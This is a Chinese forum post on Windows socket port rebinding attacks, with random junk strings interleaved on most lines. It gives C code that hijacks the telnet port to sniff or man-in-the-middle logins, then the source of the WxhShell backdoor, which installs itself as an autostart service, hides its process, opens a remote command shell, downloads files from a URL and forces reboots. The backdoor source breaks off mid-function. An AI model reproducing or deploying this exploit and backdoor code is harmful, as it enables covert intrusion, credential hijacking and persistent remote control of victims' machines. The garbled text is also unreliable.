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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -Iq#h)Q*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cu Nwv(P  
k&Sg`'LG8  
  saddr.sin_family = AF_INET; P)T:6K  
Dv$xP)./  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .EI/0"^  
J%nJO3,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CxO) d7c  
).-FuL4Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fx*Swv%r  
Z*JZ Ubo-Q  
  这意味着什么?意味着可以进行如下的攻击: /q]WV^H  
$jm'uDvm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A/'G.H  
1 @/+ c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) > vgqf>)kk  
/OViqZ;9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "zr%Q'Ky  
R (6Jvub"I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /GEqU^ B  
Blu^\:?#z-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JAgec`T%  
|u03~L9G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _ yU e2Gd  
l9n 8v\8,o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &4 ]%&mX)-  
J?%Z7&/M>  
  #include w=OT^d 9n  
  #include b+{,c@1rd  
  #include ;]p#PNQ0  
  #include    2(UT;PSI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uu(.,11`  
  int main() "3Ec0U \s  
  { o'W &gkb9  
  WORD wVersionRequested; @#sQ7eMoy  
  DWORD ret; keX0br7u_  
  WSADATA wsaData; \&SP7~-eq  
  BOOL val; M5D,YC3<  
  SOCKADDR_IN saddr; *@n%K,$v  
  SOCKADDR_IN scaddr; K~[/n<ks  
  int err; 'I;pS)sb  
  SOCKET s; olh|.9Kdj}  
  SOCKET sc; xe}"0'g  
  int caddsize; I5  
  HANDLE mt; i<-#yL5  
  DWORD tid;   @T1-0!TM')  
  wVersionRequested = MAKEWORD( 2, 2 ); MYLq2g\  
  err = WSAStartup( wVersionRequested, &wsaData ); u'}DG#@-  
  if ( err != 0 ) { Ff|?<\x0}A  
  printf("error!WSAStartup failed!\n"); iHTxD1 D+H  
  return -1; anv_I=  
  } G3KiU($V  
  saddr.sin_family = AF_INET; W/fM0=!  
   No j6Ina  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bw+~5pqM  
GX(p7ZgB2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F+9|D  
  saddr.sin_port = htons(23); wN;o++6V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?"J5~_U.  
  { ^m?h .  
  printf("error!socket failed!\n"); Pf]L`haGN  
  return -1; 6=FF*"-6E  
  } aY6]NpT  
  val = TRUE; b>G!K)MS3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C}wmoYikV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {DAwkJvb]  
  { KrG$W/<tg  
  printf("error!setsockopt failed!\n"); AM,@BnEcuT  
  return -1; &EZ28k"x  
  } TqCzpf&&h/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CI ~+(+q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7(ZI]<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N9_9{M{  
DOf[?vbu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2g|+*.*`  
  { Gu9Ap<>!  
  ret=GetLastError(); ZCV&v47\p_  
  printf("error!bind failed!\n"); Ws'3*HAce  
  return -1; i $#bg^  
  } 9CW .xX8  
  listen(s,2); g5_]^[up w  
  while(1) I9TOBn|6   
  { ?2QssfB  
  caddsize = sizeof(scaddr); J/WPffqD  
  //接受连接请求 q^k6.5*"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ; *r5 d+]  
  if(sc!=INVALID_SOCKET) 9^>nZ6  
  { `nn;E% n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BIS5u4  
  if(mt==NULL) ga0W;Vq&X  
  { kx*=1AfU+Y  
  printf("Thread Creat Failed!\n"); s:,BcVLx^  
  break; Y[@$1{YS  
  } m8#+w0p)  
  } mam|aRzd  
  CloseHandle(mt); rC$ckug  
  } `UGHk*DL)  
  closesocket(s); OV^) N  
  WSACleanup(); t d-EB&i\  
  return 0; V]<J^m8  
  }   JM@MNS_||(  
  DWORD WINAPI ClientThread(LPVOID lpParam) ut fD$8UI  
  { !Zlvz%X  
  SOCKET ss = (SOCKET)lpParam; /a(xUm@.  
  SOCKET sc;  NDm3kMa  
  unsigned char buf[4096]; j)]mN$Sa:  
  SOCKADDR_IN saddr; U_B"B;ng+  
  long num; S3A OT  
  DWORD val; Ks7DoXCvE  
  DWORD ret; tFO86 !ln  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ku&IVr%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ws{2+G~  
  saddr.sin_family = AF_INET; aU4v-9@U8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2y`rS _2  
  saddr.sin_port = htons(23); R=_ fk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R6ca;  
  { *&^`Uk,[  
  printf("error!socket failed!\n"); lL/|{A|-j  
  return -1; P0Z1cN}  
  } [2WJ>2r}6  
  val = 100; mtOCk 5E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E0o=  
  { ? L|m:A`  
  ret = GetLastError(); +Gg6h=u  
  return -1; eZJrV} V  
  } 7?Q<kB=f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .r[kNh@ b%  
  { 8fY1~\G:\  
  ret = GetLastError(); [f!sBJ!  
  return -1; \,+act"v  
  } Dh*Uv,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C{H:-"\J9  
  { ^/h,C^/;  
  printf("error!socket connect failed!\n"); n3da@ClBt  
  closesocket(sc); }YfM <  
  closesocket(ss); TGlIt<&  
  return -1; rd vq(\A  
  } lb{<}1YR0o  
  while(1) M[g9D  
  { cNZuwS~,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y 4j0nF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mQ*:?\@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }`FC'!(   
  num = recv(ss,buf,4096,0); w)2X0ev"  
  if(num>0) dj3}Tjt  
  send(sc,buf,num,0); _3i.o$GO  
  else if(num==0) xlg6cO  
  break; k z"F4?,  
  num = recv(sc,buf,4096,0); s,!+wHv_8  
  if(num>0) ?ey!wcv~  
  send(ss,buf,num,0); *G"L]Nq#  
  else if(num==0) +] s"*'V$  
  break; ^rO3B?_  
  } 0p YO-@E  
  closesocket(ss); 2m7Z:b  
  closesocket(sc); |gxT-ZM  
  return 0 ; Yw&{.<sL  
  } ,HO~NqmB4  
;nW#Dn9  
7O84R^!|2  
========================================================== Q ;V `  
$d? N("L  
下边附上一个代码,,WXhSHELL Hpo7diBE  
$k5mI1~  
========================================================== !$ItBn/_  
}d?"i@[  
#include "stdafx.h" yhhW4rz  
4=^_ 4o2  
#include <stdio.h> zGjf7VV2a  
#include <string.h> 3\j{*f$J  
#include <windows.h> B! $a Y  
#include <winsock2.h> f mXU)  
#include <winsvc.h> mltG4R ?  
#include <urlmon.h> 0n` 1GU)W  
)GhMM  
#pragma comment (lib, "Ws2_32.lib") U>PF#@ C/  
#pragma comment (lib, "urlmon.lib") vs]#?3+  
O{:_-eI&d  
#define MAX_USER   100 // 最大客户端连接数 O4H %x  
#define BUF_SOCK   200 // sock buffer k<x  %  
#define KEY_BUFF   255 // 输入 buffer fbgq+f`\  
>*rH Nf  
#define REBOOT     0   // 重启 [ }-CXB  
#define SHUTDOWN   1   // 关机 oNH&VHjU  
!#s1'x{o  
#define DEF_PORT   5000 // 监听端口 R-CFF  
"N\>v#>C  
#define REG_LEN     16   // 注册表键长度 }A)>sQ  
#define SVC_LEN     80   // NT服务名长度 WtlPgT;wE  
;[9WB<t  
// 从dll定义API l8rBp87Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'Pyeb`AXE9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X-[_g!pV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8JvF4'zx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gwHNz5 a*V  
TNs ;#Q  
// wxhshell配置信息 WPLM*]6  
struct WSCFG { >5G2!Ns'  
  int ws_port;         // 监听端口 $#E?`At{I  
  char ws_passstr[REG_LEN]; // 口令 ?fF{M%i-%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0tV"X  
  char ws_regname[REG_LEN]; // 注册表键名 q):Ph&'r  
  char ws_svcname[REG_LEN]; // 服务名 ,I# X[^/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~Mu=,OT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (9R;a np  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~{MmUp rS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u7R:7$H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pI*/ - !I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hp`Mp)1s  
9;,_Q q  
}; E5@U~|V[  
#SWL$Vm>  
// default Wxhshell configuration (KQAKEhD!  
struct WSCFG wscfg={DEF_PORT, wbg_%h:  
    "xuhuanlingzhe", ,jVj9m  
    1, 5T]GyftFV  
    "Wxhshell", aDr46TB`J  
    "Wxhshell", P){F2&!P  
            "WxhShell Service", eTi r-7  
    "Wrsky Windows CmdShell Service", u`GzYG-L  
    "Please Input Your Password: ", 4'L%Wz[6  
  1,  J`F][ A  
  "http://www.wrsky.com/wxhshell.exe", :i'jQ<|wZN  
  "Wxhshell.exe" 1~X~"M  
    }; )<W6cDx'H+  
F=}-ngx8&  
// 消息定义模块 nU]4)t_o\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  =FZt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eq>E<X#<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r[ 2N;U  
char *msg_ws_ext="\n\rExit."; GWP;; x%  
char *msg_ws_end="\n\rQuit."; X2ShxD|  
char *msg_ws_boot="\n\rReboot..."; 7|=*z  
char *msg_ws_poff="\n\rShutdown..."; d3 h^L  
char *msg_ws_down="\n\rSave to "; i^hgs`hvU  
eO<:X|9T  
char *msg_ws_err="\n\rErr!"; Ya$JX(aUe  
char *msg_ws_ok="\n\rOK!"; ZUE?19GA  
^'"sFEV7RN  
char ExeFile[MAX_PATH]; WR;"^<i9  
int nUser = 0; LeY!A#j  
HANDLE handles[MAX_USER];  &gIDcZ  
int OsIsNt; f#9DU}2m  
e*[M*u  
SERVICE_STATUS       serviceStatus; _Se~bkw?v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3PS( 1  
q r12"H  
// 函数声明 XsE] Z4  
int Install(void); h9Zf4@w  
int Uninstall(void); []e*Io&[  
int DownloadFile(char *sURL, SOCKET wsh); \A-w,]9^V  
int Boot(int flag); +jk_tPSe  
void HideProc(void); n[2[V*|mI  
int GetOsVer(void); xHN"7j}h  
int Wxhshell(SOCKET wsl); M[9]t("  
void TalkWithClient(void *cs); O/;$0`~hY  
int CmdShell(SOCKET sock); !M]_CPh]  
int StartFromService(void); +bnz%/v  
int StartWxhshell(LPSTR lpCmdLine); Q<]~>cd^  
DkO>?n:-C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <&&xt ?I.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nr/^HjMV  
_SS6@`X  
// 数据结构和表定义 "DV.%7*^  
SERVICE_TABLE_ENTRY DispatchTable[] = Umwd <o  
{ ?cQ  
{wscfg.ws_svcname, NTServiceMain}, lW F=bz0  
{NULL, NULL} gHS;RF9  
}; E&G_7->  
pq;)l( Hi  
// 自我安装 @C),-TM  
int Install(void) 41swG  
{ J('p'SlI  
  char svExeFile[MAX_PATH]; r{m"E^K,  
  HKEY key; ^:0NKq\  
  strcpy(svExeFile,ExeFile); qwka77nNT  
8'+XR`g:ax  
// 如果是win9x系统,修改注册表设为自启动 |qra.\  
if(!OsIsNt) { .MO"8}]8Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Bfwb?&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }<Y3 jQnl  
  RegCloseKey(key); AuZ?~I1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F8 4LMk?U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :z=/z!5:j  
  RegCloseKey(key); 4i'2~w{/  
  return 0; a.F6!?  
    } /wIev1Z!Y  
  } )4[{+OJa  
} C._I\:G^  
else { 3mWd?!+m=  
#mqz*=L3  
// 如果是NT以上系统,安装为系统服务 ~g2ColFhu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7{oG4X!  
if (schSCManager!=0) |L{<=NNs:D  
{ GXaCH))TO  
  SC_HANDLE schService = CreateService \IQP` JR  
  ( rnxO2   
  schSCManager, cTRQI3Oa>  
  wscfg.ws_svcname, e=nExY  
  wscfg.ws_svcdisp, m{gK<T  
  SERVICE_ALL_ACCESS, 8a{FxCBw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O2{_:B>K[  
  SERVICE_AUTO_START, x9PEYhL?  
  SERVICE_ERROR_NORMAL, !F{5"$  
  svExeFile, v ~73  
  NULL, 5Am*1S^  
  NULL, $UlA_l29  
  NULL, g5TXs^g  
  NULL, RB'12^[  
  NULL XQ:HH 8  
  ); .ao'o,|vE  
  if (schService!=0) 5v8&C2Jy@  
  { Ch ` Omq  
  CloseServiceHandle(schService); (mHFyEG  
  CloseServiceHandle(schSCManager); -W>zON|l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lkp!S3,  
  strcat(svExeFile,wscfg.ws_svcname); r8C6bFYM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x U1dy*-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gDnG!i+  
  RegCloseKey(key); #m9V) 1"wB  
  return 0; )|/t}|DIx  
    } /= P!9d {  
  } <R~(6krJwZ  
  CloseServiceHandle(schSCManager); ,<zZKR_  
} C<A82u;t%@  
} \@4QG.3&  
zqYfgV  
return 1; d; @Kz^  
} o <LA2 q`T  
ihH!"HH+  
// 自我卸载 b]6;:Q!d  
int Uninstall(void) n[WXIE<  
{ J8a4.prqI  
  HKEY key; Z.m.Uyz{7  
HkxFDU-K  
if(!OsIsNt) { I_xJ[ALdm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w`1qx;/!  
  RegDeleteValue(key,wscfg.ws_regname); BU:s&+LYUv  
  RegCloseKey(key); 451C2 %y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L~ V 63K  
  RegDeleteValue(key,wscfg.ws_regname); 2!dIW5I  
  RegCloseKey(key); UR-e'Z&]  
  return 0; u ` 9Eh;  
  } D4[5}NYU  
} ~C=`yj  
} Fg4eIE-/M  
else { wr*A%:  
>C_! }~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F5L/7j<}  
if (schSCManager!=0) OR&+`P"-\  
{ wlKpHd*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @tjC{?5Y  
  if (schService!=0) \{?v|%n=/i  
  { ~"Ek X  
  if(DeleteService(schService)!=0) { oG@P M+{  
  CloseServiceHandle(schService); *goi^ Xp  
  CloseServiceHandle(schSCManager); I+O !<S B  
  return 0; Jb$PlOQ  
  } )X\3bPDJR  
  CloseServiceHandle(schService); y9\s[}c_  
  } 1aYO:ZPy  
  CloseServiceHandle(schSCManager); :'GTCo$3  
} scL7PxJ5  
} 3{CGYd]_u  
%X GX(  
return 1; ; @Gm@d  
} RWTv,pLK  
hPFIf>%}  
// 从指定url下载文件 w/G5I )G  
int DownloadFile(char *sURL, SOCKET wsh) 6mdJ =b#  
{  Mw'd<{  
  HRESULT hr; :g<dwuVO  
char seps[]= "/"; ,\}V.:THF  
char *token; ;5y4v  
char *file; "cJ5Fd:*  
char myURL[MAX_PATH]; ['-ln)96.  
char myFILE[MAX_PATH]; `34[w=Zm  
W,Dr2$V  
strcpy(myURL,sURL); i8HSYA  
  token=strtok(myURL,seps); ~,':PUkiV  
  while(token!=NULL) %I Y-0\  
  { 8Qu].nKe  
    file=token; [zf9UUc~  
  token=strtok(NULL,seps); F w{8MQ2  
  } ci3{k"  
9M01}  
GetCurrentDirectory(MAX_PATH,myFILE); 9zO;sg;3  
strcat(myFILE, "\\"); 7Ox vq^[  
strcat(myFILE, file); MiOSSl};  
  send(wsh,myFILE,strlen(myFILE),0); zi*D8!_C  
send(wsh,"...",3,0); e4CG=K3s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %_tL}m{?  
  if(hr==S_OK) ,  PN?_N  
return 0; 103^\Av8  
else k )){1O  
return 1; B u4N~0  
TqbKH08i/  
} SKRD{MRsux  
]s, T` (&  
// 系统电源模块 O gHWmb  
int Boot(int flag) 8a?V h^  
{ Uk*s`Y  
  HANDLE hToken; ol`]6"Sc  
  TOKEN_PRIVILEGES tkp; ^Gs!"Y  
kf5921(P  
  if(OsIsNt) { ;e jC:3yO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZTS*E,U%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ti' GSL  
    tkp.PrivilegeCount = 1; :l9C7o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4dfe5\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QG9 2^  
if(flag==REBOOT) { @~gz-l^$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C5sV-UMR  
  return 0; 2! wz#EC  
} 3U:0,-j"  
else { [BV{=;iD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SxT:k,ji  
  return 0; Wdy2;a<\{  
} SZwfYY!ft0  
  } 0W=IuPDU  
  else { c yN_Sg  
if(flag==REBOOT) { f$WO{ J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CtSAo\F  
  return 0; V l9\&EL  
} PVtQ&m$y  
else { .+[[m$J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]m}>/2oSs  
  return 0; f4w|  
} _&w!JzpXT  
} 1uy+'2[Z-D  
<<;j=Yy({`  
return 1; [9+M/O|Vs  
} 4L5Wa~5\  
6'wP?=  
// win9x进程隐藏模块 m&ZdtB|  
void HideProc(void) *4(.=k  
{ +;>>c`{  
`pcjOM8u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6(ja5)sn*  
  if ( hKernel != NULL ) .)W8 U [  
  { DDkO g]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MCYrsgg}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 45-pJf8F  
    FreeLibrary(hKernel); mfx 'Yw*{  
  } O>k.sO <  
DTr0u}m  
return; @8_K^3-~e  
} TUk1h\.q  
zSq+#O1#  
// 获取操作系统版本 j f^fj-  
int GetOsVer(void) !Sw7!h.ut  
{ o^AK@\e:^Z  
  OSVERSIONINFO winfo; TkQ05'Qc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3cOXtDV YT  
  GetVersionEx(&winfo); e|kYu[^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v1)jZ.:  
  return 1; :W'1Q2  
  else w93yhV?  
  return 0; DsFrA]  
} ^|gN?:fA}  
=CqLZ$10  
// 客户端句柄模块 da 2BQ;  
int Wxhshell(SOCKET wsl) !A<?nz Uv  
{ wPG3Ap8L  
  SOCKET wsh; !J6k\$r  
  struct sockaddr_in client; "+HZ~:~f  
  DWORD myID; 4z$ eT  
7tt&/k?Q  
  while(nUser<MAX_USER) #D}NT*w/  
{ rP>5OLP  
  int nSize=sizeof(client); ^Nc\D7( l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4Q!*h8O  
  if(wsh==INVALID_SOCKET) return 1; &t6L8[#yd  
^,`yt^^A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `#l_`j=r$  
if(handles[nUser]==0) WRo#ZVt9$  
  closesocket(wsh); pWQ?pTh  
else q=6M3OnS>  
  nUser++; ~w!<J-z)  
  } X#Hs{J~@p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kszYbz"  
gWJLWL2  
  return 0; ixU1v~T  
} -aec1+o  
46$5f?Z  
// 关闭 socket `Y'}\>.#  
void CloseIt(SOCKET wsh) $aVcWz %  
{ UHxXa*HyI  
closesocket(wsh); Pu}2%P)p  
nUser--; `[`eg<xj  
ExitThread(0); b9"Q.*c<Z^  
} ousoG$Pc  
EW YpYMkm  
// 客户端请求句柄 YgVZq\AV"  
void TalkWithClient(void *cs) Y%Saz+  
{ =k&'ft  
, {]>U'-  
  SOCKET wsh=(SOCKET)cs; ThFI=K  
  char pwd[SVC_LEN]; R2r0'Yx  
  char cmd[KEY_BUFF]; q`qbaX\J3  
char chr[1]; =NlAGzv!w  
int i,j; RJSNniYr7  
/dtFB5Z"w  
  while (nUser < MAX_USER) { a}=)b#T`  
B?Pu0 _|s  
if(wscfg.ws_passstr) { `XI1,&Wp7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0] 5QX/I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z}XA (;ck  
  //ZeroMemory(pwd,KEY_BUFF); jgukW7H  
      i=0; FVHEb\Z  
  while(i<SVC_LEN) { HPu nNsA  
k2O==IG]6  
  // 设置超时 sdrE4-zd  
  fd_set FdRead; QhN5t/Hr  
  struct timeval TimeOut; Knn$<!>  
  FD_ZERO(&FdRead); M<Eg<*  
  FD_SET(wsh,&FdRead); cp]\<p('A  
  TimeOut.tv_sec=8; edbzg #wy  
  TimeOut.tv_usec=0; iao_w'tJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y2Y/laD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %/~Sq?f-9@  
&Tl3\T0D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;B!&( 50e  
  pwd=chr[0]; [{'` |  
  if(chr[0]==0xd || chr[0]==0xa) {  X&(1DE  
  pwd=0; %m{h1UQQ +  
  break; I)n%aTfo8  
  } !WAbO(l  
  i++; d)9=hp;,V  
    } o2&mhT  
, @(lYeD"  
  // 如果是非法用户,关闭 socket z!?xz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $1/yc#w u  
} |"\A5v|1  
4fp}`U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @7.Ews5Mke  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'BtvT[KM  
W!htCwnkF  
while(1) { .y|*  
A)'{G  
  ZeroMemory(cmd,KEY_BUFF); PC=b.H8P+W  
b$%W<D  
      // 自动支持客户端 telnet标准   l2z@t3{  
  j=0;  ig jr=e  
  while(j<KEY_BUFF) { s}X2*o`,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 05$CIS>!  
  cmd[j]=chr[0]; z GA1  
  if(chr[0]==0xa || chr[0]==0xd) { Np+<)q2  
  cmd[j]=0; {0QNqjue  
  break; mM!Gomp  
  } eY;XF.mF  
  j++; t 8|i>(O  
    } HZ )z^K?1  
f6u<.b  
  // 下载文件 p~BEz?e  
  if(strstr(cmd,"http://")) { [Vc8j&:L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Sx2c  
  if(DownloadFile(cmd,wsh)) 42~tdD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (HDR}!.E  
  else i=nd][1n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h b_"E, `F  
  } Wv8?G~>  
  else { KZ>cfv-&a  
?sk{(UN]  
    switch(cmd[0]) { Y2W|b5  
  }k~ih?E^s  
  // 帮助 yxik`vmH  
  case '?': { U]ynnw4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }&F|u0@b  
    break; mA@FJK_  
  } ?^n),mR  
  // 安装 T1_O~<  
  case 'i': { 4hz T4!15  
    if(Install()) #~BsI/m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFv'qDA  
    else 3f@@|vZF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9sJ=Nldq  
    break; TkBHlTa"=  
    } gNUYHNzDM(  
  // 卸载 u%!/-&?wF  
  case 'r': { GRM6H|.  
    if(Uninstall()) ;G.5.q[A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ($'W(DH4  
    else 2RG6m=Y8y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~G,_4}#"pM  
    break; w;W# 'pE  
    } ]l>LU2 sx  
  // 显示 wxhshell 所在路径 G5vp(%j  
  case 'p': { FUzN }"\1  
    char svExeFile[MAX_PATH]; t-B5,,`  
    strcpy(svExeFile,"\n\r"); \2)D  
      strcat(svExeFile,ExeFile); xsu9DzPf&{  
        send(wsh,svExeFile,strlen(svExeFile),0); :y'EIf  
    break; G!dx)v  
    } fG9 ;7KG  
  // 重启 @ <(4J   
  case 'b': { $>Qq 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g&z8t;@  
    if(Boot(REBOOT)) E@,m +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N,W ?}  
    else { 'HKDGQl`  
    closesocket(wsh); u}3D'h  
    ExitThread(0); Znr@-=xZO*  
